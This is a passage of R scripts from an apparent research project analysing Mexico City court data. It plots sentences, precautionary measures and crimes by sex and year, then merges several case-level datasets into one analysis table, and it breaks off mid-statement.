scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 PP X DELITOS x sesxo.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(year_audiencia, medida) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Medidas cautelares dictadas por el Tribunal Superior de Justicia de la CDMX", subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Medidas cautelares:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 MEDIDAS X AÑO.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(anio_ing, sentencia, sexo) %>%
filter(sexo != "No especificado") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(anio_ing, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=sentencia), size=2.5) +
labs(title = "Sentido de la sentencia", subtitle = "Por año y sexo de la persona sentenciada \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b")) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
ggsave(paste(out, "1 sentido sexo.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(anio_ing, sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(anio_ing, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de las personas condenadas", subtitle = "Por año y sexo de la persona condenada \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b")) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
ggsave(paste(out, "1 condena sexo.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(anio_ing, sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(anio_ing, delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=sexo), size=2.5) +
labs(title = "Sexo de las personas condenadas en la CDMX", subtitle = "Por año y por delito \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Sexo de la persona condenada:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b")) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~delitos_cortos) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
ggsave(paste(out, "condena sexo por año por delito.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(anio_ing, sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(anio_ing, sexo, sentencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de las personas condenadas", subtitle = "Por año y sexo de la persona condenada \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b")) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_grid(sexo~sentencia, labeller = label_wrap_gen(width=12)) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
ggsave(paste(out, "1 condena abso sexo.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(sentencia, delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(sexo, delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano, aes(x = reorder(delitos_cortos, -porcent), y=porcent, fill=sentencia)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values=c("#F178B1","#998FC7"))+
guides(fill = guide_legend(reverse=TRUE))+
geom_text(aes(label=paste0(porcent,"%")),
position = position_stack(vjust = 0.5), size=4, color="black", family = "Helvetica")+
labs(title="El sentido de las sentencias por delito",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. ", x="", y="",
subtitle = "Según el sexo de la persona sentenciada \n", fill="Sentido de la sentencia:") +
tema +
facet_wrap(~sexo) +
coord_flip(ylim=c(0,100))+
theme(legend.position = "top")
ggsave(paste(out, "delitos por sexos cdmx.png", sep = "/"), width = 18, height = 16)
########################
porano <- sentenciados %>%
group_by(delitos_cortos, sexo) %>%
filter(sexo != "No especificado") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano, aes(x = reorder(delitos_cortos, -porcent), y=porcent, fill=sexo)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values=c("#F178B1","#998FC7"))+
guides(fill = guide_legend(reverse=TRUE))+
geom_text(aes(label=paste0(porcent,"%")),
position = position_stack(vjust = 0.5), size=4, color="black", family = "Helvetica")+
labs(title="El sexo de las personas condenadas en la CDMX",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. ", x="", y="",
subtitle = "Según el delito (para las sentencias de 2011-2019) \n", fill="Sexo de persona condenada:") +
tema +
coord_flip(ylim=c(0,100))+
theme(legend.position = "top")
ggsave(paste(out, "condenas por sexo.png", sep = "/"), width = 18, height = 16)
########################
porano <- sentenciados %>%
group_by(anio_ing, sentencia, delito, robo, sexo) %>%
filter(robo == "1")%>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(anio_ing, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(anio_ing), y = porcent, fill=delito), size=2.5) +
labs(title = "Delitos de robo por los que las personas fueron condenadas", subtitle = "Por año y sexo de la persona condenada \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#6d6875", "#9d0208", "#6930c3", "#a2d2ff", "#52796f", "#ff006e", "#3e1f47", "#ffcad4", "#ffcb77", "#40916c")) +
scale_x_continuous(breaks=seq(from=2011, to=2019, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right")
ggsave(paste(out, "1 condena robo sexo.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(sentencia, delito, robo, sexo) %>%
filter(robo == "1")%>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(subset(porano),
aes(area=porcent, fill=delito, label=paste(paste0(porcent,"%")))) +
geom_treemap() +
geom_treemap_text(place = "centre", grow = F, color ="black", family = "Helvetica") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#6d6875", "#9d0208", "#6930c3", "#a2d2ff", "#52796f", "#ff006e", "#3e1f47", "#ffcad4", "#ffcb77", "#40916c")) +
labs(title="Los delitos de robo por los que las personas fueron condenadas por el TSJ CDMX",
subtitle = "Según el sexo de la persona condenada \n",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill="Delito de robo:") +
facet_wrap(~sexo) +
tema +
theme(strip.text.x = element_text(size=20, face="bold", angle=0, color = "black"),
strip.text.y = element_text(size=20, face="bold", color = "black", angle = 0),
strip.background = element_rect(colour="white", fill="white")) +
theme(legend.position = "right") +
theme(legend.text = element_text(color = "black", size = 8))+
coord_fixed()
ggsave(paste(out, "treemap viofami.png", sep = "/"), width =20, height = 16)
########################
porano <- sentenciados %>%
group_by(sentencia, delito, homicidio, sexo) %>%
filter(homicidio == "1")%>%
filter(sexo != "No especificado") %>%
filter(sentencia == "Condenatoria") %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(subset(porano),
aes(area=porcent, fill=delito, label=paste(paste0(porcent,"%")))) +
geom_treemap() +
geom_treemap_text(place = "centre", grow = F, color ="black", family = "Helvetica") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#6d6875", "#9d0208", "#6930c3", "#a2d2ff", "#52796f", "#ff006e", "#3e1f47", "#ffcad4", "#ffcb77", "#40916c")) +
labs(title="Los delitos de homicidio por los que las personas fueron condenadas por el TSJ CDMX",
subtitle = "Según el sexo de la persona condenada \n",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill="Delito de homicidio:") +
facet_wrap(~sexo) +
tema +
theme(strip.text.x = element_text(size=20, face="bold", angle=0, color = "black"),
strip.text.y = element_text(size=20, face="bold", color = "black", angle = 0),
strip.background = element_rect(colour="white", fill="white")) +
theme(legend.position = "right") +
theme(legend.text = element_text(color = "black", size = 8))+
coord_fixed()
ggsave(paste(out, "treemap homicidio iofami.png", sep = "/"), width =20, height = 16)
<file_sep>/análisis/01_union_bases.R
#------------------------------------------------------------------------------#
# Proyecto: TRIBUNAL SUPERIOR DE JUSTICIA DE CIUDAD DE MÉXICO
# Objetivo: Unir las bases de datos de la PJCDMX
# Encargada: <NAME>
# Correo: <EMAIL>
# Fecha de creación: 27 de enero de 2021
# Última actualización: 10 de febrero de 2021
#------------------------------------------------------------------------------#
# 0. Configuración inicial -----------------------------------------------------
# Librerías
require(pacman)
p_load(readxl, tidyverse, dplyr, here, beepr)
# Limpiar espacio de trabajo
rm(list=ls())
# Establecer directorios
dir <- here::here()
inp <- "datos_limpios/"
out <- "datos_limpios/"
setwd(dir)
# 1. Cargar datos --------------------------------------------------------------
load(paste0(inp, "df_asuntos_ingresados_nivel_acusado.Rdata"))
load(paste0(inp, "df_personas_agredidas_nivel_expediente.Rdata"))
load(paste0(inp, "df_situacion_juridica_nivel_acusado.Rdata"))
load(paste0(inp, "df_soluciones_alternas_nivel_acusado.Rdata"))
load(paste0(inp, "df_medidas_cautelares_nivel_acusado.Rdata"))
load(paste0(inp, "df_sentencias_nivel_acusado.Rdata"))
# 2. Procesamiento de las bases previo a unión ---------------------------------
# 2.1 Renombrar variables para sean únicas por base ----------------------------
# Asuntos
df_asuntos <- df_asuntos_ingresados_nivel_acusado %>%
rename(year_asunto = year_ingreso,
month_asunto = month_ingreso,
date_asunto = date_ingreso,
edad_acusada_asunto = edad_indiciada,
sexo_acusada_asunto = sexo_indiciada,
materia_asunto = materia,
num_delitos_asuntos = num_delitos,
num_alcaldias_asunto = num_alcaldias,
num_consignacion_asunto = num_consignacion,
num_comision_asunto = num_comision,
num_realizacion_asunto = num_realizacion,
c_con_detenido_asunto = c_con_detenido,
c_sin_detenido_asunto = c_sin_detenido,
c_culposo_asunto = c_culposo,
c_doloso_asunto = c_doloso,
tr_consumado_asunto = tr_consumado,
tr_tentativa_asunto = tr_tentativa)
# Personas agredidas
df_agredidas <- df_personas_agredidas_nivel_expediente
# Situación jurídica
df_sitjurid <- df_situacion_juridica_nivel_acusado %>%
rename(year_sitjurid = year_resolucion,
month_sitjurid = month_resolucion,
date_sijurid = date_resolucion,
edad_acusada_sitjurid = edad_procesada,
sexo_acusada_sitjurid = sexo_procesada,
materia_sitjurid = materia,
num_delitos_sitjurid = num_delitos,
num_alcaldias_sitjurid = num_alcaldias,
num_consignacion_sitjurid = num_consignacion,
num_comision_sitjurid = num_comision,
num_realizacion_sitjurid = num_realizacion,
c_con_detenido_sitjurid = c_con_detenido,
c_sin_detenido_sitjurid = c_sin_detenido,
c_culposo_sitjurid = c_culposo,
c_doloso_sitjurid = c_doloso,
tr_consumado_sitjurid = tr_consumado,
tr_tentativa_sitjurid = tr_tentativa)
# Soluciones alternas
df_alternas <- df_soluciones_alternas_nivel_acusado %>%
rename(year_alternas = year_audiencia_alt,
month_alternas = month_audiencia_alt,
date_alternas = date_audiencia_alt,
edad_acusada_alternas = edad_indiciada,
sexo_acusada_alternas = sexo_indiciada,
materia_alternas = materia,
num_delitos_alternas = num_delitos,
num_alcaldias_alternas = num_alcaldias,
num_consignacion_alternas = num_consignacion,
num_comision_alternas = num_comision,
num_realizacion_alternas = num_realizacion,
c_con_detenido_alternas = c_con_detenido,
c_sin_detenido_alternas = c_sin_detenido,
c_culposo_alternas = c_culposo,
c_doloso_alternas = c_doloso,
tr_consumado_alternas = tr_consumado,
tr_tentativa_alternas = tr_tentativa)
# Medidas cautelares
df_cautelares <- df_medidas_cautelares_nivel_acusado %>%
rename(year_cautelares = year_audiencia_caut,
month_cautelares = month_audiencia_caut,
date_cautelares = date_audiencia_caut,
edad_acusada_cautelares = edad_vinculada,
sexo_acusada_cautelares = sexo_vinculada,
materia_cautelares = materia,
num_delitos_cautelares = num_delitos,
num_alcaldias_cautelares = num_alcaldias,
num_consignacion_cautelares = num_consignacion,
num_comision_cautelares = num_comision,
num_realizacion_cautelares = num_realizacion,
c_con_detenido_cautelares = c_con_detenido,
c_sin_detenido_cautelares = c_sin_detenido,
c_culposo_cautelares = c_culposo,
c_doloso_cautelares = c_doloso,
tr_consumado_cautelares = tr_consumado,
tr_tentativa_cautelares = tr_tentativa)
# Sentencias
df_sentencias <- df_sentencias_nivel_acusado %>%
rename(materia_sentencia = materia,
num_delitos_sentencia = num_delitos,
num_alcaldias_sentencia = num_alcaldias,
num_consignacion_sentencia = num_consignacion,
num_comision_sentencia = num_comision,
num_realizacion_sentencia = num_realizacion,
c_con_detenido_sentencia = c_con_detenido,
c_sin_detenido_sentencia = c_sin_detenido,
c_culposo_sentencia = c_culposo,
c_doloso_sentencia = c_doloso,
tr_consumado_sentencia = tr_consumado,
tr_tentativa_sentencia = tr_tentativa) %>%
mutate(sexo_sentenciada = case_when(sexo_sentenciada == "Femenino" ~ "Mujeres",
sexo_sentenciada == "Masculino" ~ "Hombres",
sexo_sentenciada == sexo_sentenciada ~ sexo_sentenciada))
# 3. Unir bases ----------------------------------------------------------------
# Juntar asuntos ingresados y personas agredidas
df_unida1 <- df_asuntos %>%
left_join(df_agredidas, by = c("id_exp"))
# Añadir situación jurídica
df_unida2 <- df_unida1 %>%
full_join(df_sitjurid, by = c("id_exp", "id_per_acusada"))
# Añadir soluciones alternas
df_unida3 <- df_unida2 %>%
full_join(df_alternas, by = c("id_exp", "id_per_acusada"))
# Añadir medidas cautelares
df_unida4 <- df_unida3 %>%
full_join(df_cautelares, by = c("id_exp", "id_per_acusada"))
# Añadir sentencias
df_unida5 <- df_unida4 %>%
full_join(df_sentencias, by = c("id_exp", "id_per_acusada"))
# Revisar frecuencia de expedientes
# Asuntos ingresados y personas
df_freq_exp <- as.data.frame(table(df_unida1$id_exp))
df_freq_per <- as.data.frame(table(df_unida1$id_per_acusada))
table(df_freq_per$Freq)
# Asuntos ingresados, personas y situación jurídica
df_freq_exp <- as.data.frame(table(df_unida2$id_exp))
df_freq_per <- as.data.frame(table(df_unida2$id_per_acusada))
table(df_freq_per$Freq) # Folio de persona que es utilizado en más de una: 10806638
# Asuntos ingresados, personas, situación jurídica y soluciones alternas
df_freq_exp <- as.data.frame(table(df_unida3$id_exp))
df_freq_per <- as.data.frame(table(df_unida3$id_per_acusada))
table(df_freq_per$Freq) # Folio de persona que es utilizado en más de una: 29426034
# Asuntos ingresados, personas, sit. jurid., sol. alternas y medidas cautelares
df_freq_exp <- as.data.frame(table(df_unida4$id_exp))
df_freq_per <- as.data.frame(table(df_unida4$id_per_acusada))
table(df_freq_per$Freq)
# Asuntos ingresados, personas, sit. jurid., sol. alternas, cautelares y sentencias
df_freq_exp <- as.data.frame(table(df_unida5$id_exp))
df_freq_per <- as.data.frame(table(df_unida5$id_per_acusada))
table(df_freq_per$Freq)
# 4. Procesamiento posterior a la unión de las bases ---------------------------
# 4.2 Construcción de variables de análisis ------------------------------------
df_unida_extra <- df_unida5 %>%
# Convertir NAs a 0 en variables binarias
replace_na(list(base_asuntos = 0,
base_sitjurid = 0,
base_sol_alternas = 0,
base_medida_cautelar = 0,
base_sentencias = 0)) %>%
# Crear variable de registro en todas las bases
mutate(aparece_en_bases = base_asuntos + base_sitjurid +
base_sol_alternas + base_medida_cautelar +
base_sentencias) %>%
# Crear variable que indique el número de terminaciones
mutate(num_terminacion = rowSums(cbind(base_sentencias, a_perdon,
a_suspension, a_criterio,
a_sobreseimiento,
s_libertad_falta_elementos,
s_no_vinculado), na.rm = T)) %>%
# Variable binaria para terminación
mutate(con_terminacion = if_else(num_terminacion == 0, 0, 1)) %>%
# Variable que indique el tipo de terminación
mutate(tipo_terminacion = case_when(num_terminacion == 0 ~ "Sin terminación",
a_perdon == 1 ~ "Solución alterna: Perdón",
a_suspension == 1 ~ "Solución alterna: Suspensión condicional del proceso",
a_criterio == 1 ~ "Solución alterna: Criterio de oportunidad",
a_sobreseimiento == 1 ~ "Solución alterna: Sobreseimiento",
s_libertad_falta_elementos == 1 ~ "Libertad por falta de elementos",
s_no_vinculado == 1 ~ "Sin vinculación a proceso",
sentencia_absolutoria == 1 ~ "Sentencia absolutoria",
sentencia_condenatoria == 1 ~ "Sentencia condenatoria")) %>%
# Variable para indicar prisión preventiva
mutate(num_ppo = rowSums(cbind(s_formal_prision, m_prision_preventiva), na.rm = T),
con_ppo = if_else(num_ppo == 0, 0, 1),
tipo_ppo = case_when(con_ppo == 0 ~ "Sin prisión preventiva",
s_formal_prision == 1 ~ "PPO como situación jurídica",
m_prision_preventiva == 1 ~ "PPO como medida cautelar"))
# 4.2 Seleccionar variables finales para base completa -------------------------
df_unida_completa <- df_unida_extra %>%
select(starts_with("id_"), # Identificadores de expediente y personas
"aparece_en_bases",
starts_with("base_"), # Bases en las que se encuentra
starts_with("num_alcaldias"),
starts_with("num_consigna"),
starts_with("num_comision"),
starts_with("num_realiza"),
starts_with("num_delitos"),
# Temporalidad
starts_with("year_"),
starts_with("month_"),
starts_with("date_"),
# Demográficos
starts_with("sexo_"),
starts_with("edad_"),
# Situación y prisión preventiva
ends_with("_terminacion"),
ends_with("_ppo"),
# Características jurídicas
starts_with("materia_"),
starts_with("c_con"),
starts_with("c_sin"),
starts_with("c_cul"),
starts_with("c_dol"),
starts_with("tr_"),
# Número de víctimas y tipo de relación
starts_with("v_"),
starts_with("r_"),
# Resto de las variables
starts_with("d_"), # Delitos
starts_with("s_"), # Situación jurídica
starts_with("a_"), # Soluciones alternas
"num_medidas_cautelares",
starts_with("m_"), # Medidas cautelares
starts_with("sentencia_"),
"years_sentencia", "months_sentencia") # Sentencias
# Verificar que no se haya perdido ninguna variable ni observación
dim(df_unida_extra)
dim(df_unida_completa)
# 4.3 Seleccionar variables finales para base sintética ------------------------
# Indicador único por sexo y edad de la persona acusada, así como materia,
# consignación, comisión, realización y número de alcaldías.
df_completa <- df_unida_completa %>%
mutate(materia = case_when(is.na(materia_asunto) == F ~ materia_asunto,
is.na(materia_sitjurid) == F ~ materia_sitjurid,
is.na(materia_alternas) == F ~ materia_alternas,
is.na(materia_cautelares) == F ~ materia_cautelares,
is.na(materia_sentencia) == F ~ materia_sentencia),
num_alcaldias = case_when(is.na(num_alcaldias_asunto) == F ~ num_alcaldias_asunto,
is.na(num_alcaldias_sitjurid) == F ~ num_alcaldias_sitjurid,
is.na(num_alcaldias_alternas) == F ~ num_alcaldias_alternas,
is.na(num_alcaldias_cautelares) == F ~ num_alcaldias_cautelares,
is.na(num_alcaldias_sentencia) == F ~ num_alcaldias_sentencia),
num_consignacion = case_when(is.na(num_consignacion_asunto) == F ~ num_consignacion_asunto,
is.na(num_consignacion_sitjurid) == F ~ num_consignacion_sitjurid,
is.na(num_consignacion_alternas) == F ~ num_consignacion_alternas,
is.na(num_consignacion_cautelares) == F ~ num_consignacion_cautelares,
is.na(num_consignacion_sentencia) == F ~ num_consignacion_sentencia),
c_con_detenido = case_when(is.na(c_con_detenido_asunto) == F ~ c_con_detenido_asunto,
is.na(c_con_detenido_sitjurid) == F ~ c_con_detenido_sitjurid,
is.na(c_con_detenido_alternas) == F ~ c_con_detenido_alternas,
is.na(c_con_detenido_cautelares) == F ~ c_con_detenido_cautelares,
is.na(c_con_detenido_sentencia) == F ~ c_con_detenido_sentencia),
s_sin_detenido = case_when(is.na(c_sin_detenido_asunto) == F ~ c_sin_detenido_asunto,
is.na(c_sin_detenido_sitjurid) == F ~ c_sin_detenido_sitjurid,
is.na(c_sin_detenido_alternas) == F ~ c_sin_detenido_alternas,
is.na(c_sin_detenido_cautelares) == F ~ c_sin_detenido_cautelares,
is.na(c_sin_detenido_sentencia) == F ~ c_sin_detenido_sentencia),
num_comision = case_when(is.na(num_comision_asunto) == F ~ num_comision_asunto,
is.na(num_comision_sitjurid) == F ~ num_comision_sitjurid,
is.na(num_comision_alternas) == F ~ num_comision_alternas,
is.na(num_comision_cautelares) == F ~ num_comision_cautelares,
is.na(num_comision_sentencia) == F ~ num_comision_sentencia),
c_culposo = case_when(is.na(c_culposo_asunto) == F ~ c_culposo_asunto,
is.na(c_culposo_sitjurid) == F ~ c_culposo_sitjurid,
is.na(c_culposo_alternas) == F ~ c_culposo_alternas,
is.na(c_culposo_cautelares) == F ~ c_culposo_cautelares,
is.na(c_culposo_sentencia) == F ~ c_culposo_sentencia),
c_doloso = case_when(is.na(c_doloso_asunto) == F ~ c_doloso_asunto,
is.na(c_doloso_sitjurid) == F ~ c_doloso_sitjurid,
is.na(c_doloso_alternas) == F ~ c_doloso_alternas,
is.na(c_doloso_cautelares) == F ~ c_doloso_cautelares,
is.na(c_doloso_sentencia) == F ~ c_doloso_sentencia),
num_realizacion = case_when(is.na(num_realizacion_asunto) == F ~ num_realizacion_asunto,
is.na(num_realizacion_sitjurid) == F ~ num_realizacion_sitjurid,
is.na(num_realizacion_alternas) == F ~ num_realizacion_alternas,
is.na(num_realizacion_cautelares) == F ~ num_realizacion_cautelares,
is.na(num_realizacion_sentencia) == F ~ num_realizacion_sentencia),
tr_consumado = case_when(is.na(tr_consumado_asunto) == F ~ tr_consumado_asunto,
is.na(tr_consumado_sitjurid) == F ~ tr_consumado_sitjurid,
is.na(tr_consumado_alternas) == F ~ tr_consumado_alternas,
is.na(tr_consumado_cautelares) == F ~ tr_consumado_cautelares,
is.na(tr_consumado_sentencia) == F ~ tr_consumado_sentencia),
tr_tentativa = case_when(is.na(tr_tentativa_asunto) == F ~ tr_tentativa_asunto,
is.na(tr_tentativa_sitjurid) == F ~ tr_tentativa_sitjurid,
is.na(tr_tentativa_alternas) == F ~ tr_tentativa_alternas,
is.na(tr_tentativa_cautelares) == F ~ tr_tentativa_cautelares,
is.na(tr_tentativa_sentencia) == F ~ tr_tentativa_sentencia),
sexo = case_when(is.na(sexo_acusada_asunto) == F ~ sexo_acusada_asunto,
is.na(sexo_acusada_sitjurid) == F ~ sexo_acusada_sitjurid,
is.na(sexo_acusada_alternas) == F ~ sexo_acusada_alternas,
is.na(sexo_acusada_cautelares) == F ~ sexo_acusada_cautelares,
is.na(sexo_sentenciada) == F ~ sexo_sentenciada),
edad = case_when(is.na(edad_acusada_asunto) == F ~ edad_acusada_asunto,
is.na(edad_acusada_sitjurid) == F ~ edad_acusada_sitjurid,
is.na(edad_acusada_alternas) == F ~ edad_acusada_alternas,
is.na(edad_acusada_cautelares) == F ~ edad_acusada_cautelares,
is.na(edad_sentenciada) == F ~ edad_sentenciada),
num_delitos = case_when(is.na(num_delitos_asuntos) == F ~ num_delitos_asuntos,
is.na(num_delitos_sitjurid) == F ~ num_delitos_sitjurid,
is.na(num_delitos_alternas) == F ~ num_delitos_alternas,
is.na(num_delitos_cautelares) == F ~ num_delitos_cautelares,
is.na(num_delitos_sentencia) == F ~ num_delitos_sentencia),
d_homicidio = case_when(is.na(d_homicidio_asunto) == F ~ d_homicidio_asunto,
is.na(d_homicidio_sitjurid) == F ~ d_homicidio_sitjurid,
is.na(d_homicidio_alternas) == F ~ d_homicidio_alternas,
is.na(d_homicidio_cautelares) == F ~ d_homicidio_cautelares,
is.na(d_homicidio_sentencia) == F ~ d_homicidio_sentencia),
d_secuestro = case_when(is.na(d_secuestro_asunto) == F ~ d_secuestro_asunto,
is.na(d_secuestro_sitjurid) == F ~ d_secuestro_sitjurid,
is.na(d_secuestro_alternas) == F ~ d_secuestro_alternas,
is.na(d_secuestro_cautelares) == F ~ d_secuestro_cautelares,
is.na(d_secuestro_sentencia) == F ~ d_secuestro_sentencia),
d_sexuales = case_when(is.na(d_sexuales_asunto) == F ~ d_sexuales_asunto,
is.na(d_sexuales_sitjurid) == F ~ d_sexuales_sitjurid,
is.na(d_sexuales_alternas) == F ~ d_sexuales_alternas,
is.na(d_sexuales_cautelares) == F ~ d_sexuales_cautelares,
is.na(d_sexuales_sentencia) == F ~ d_sexuales_sentencia),
d_salud = case_when(is.na(d_salud_asunto) == F ~ d_salud_asunto,
is.na(d_salud_sitjurid) == F ~ d_salud_sitjurid,
is.na(d_salud_alternas) == F ~ d_salud_alternas,
is.na(d_salud_cautelares) == F ~ d_salud_cautelares,
is.na(d_salud_sentencia) == F ~ d_salud_sentencia),
d_robo = case_when(is.na(d_robo_asunto) == F ~ d_robo_asunto,
is.na(d_robo_sitjurid) == F ~ d_robo_sitjurid,
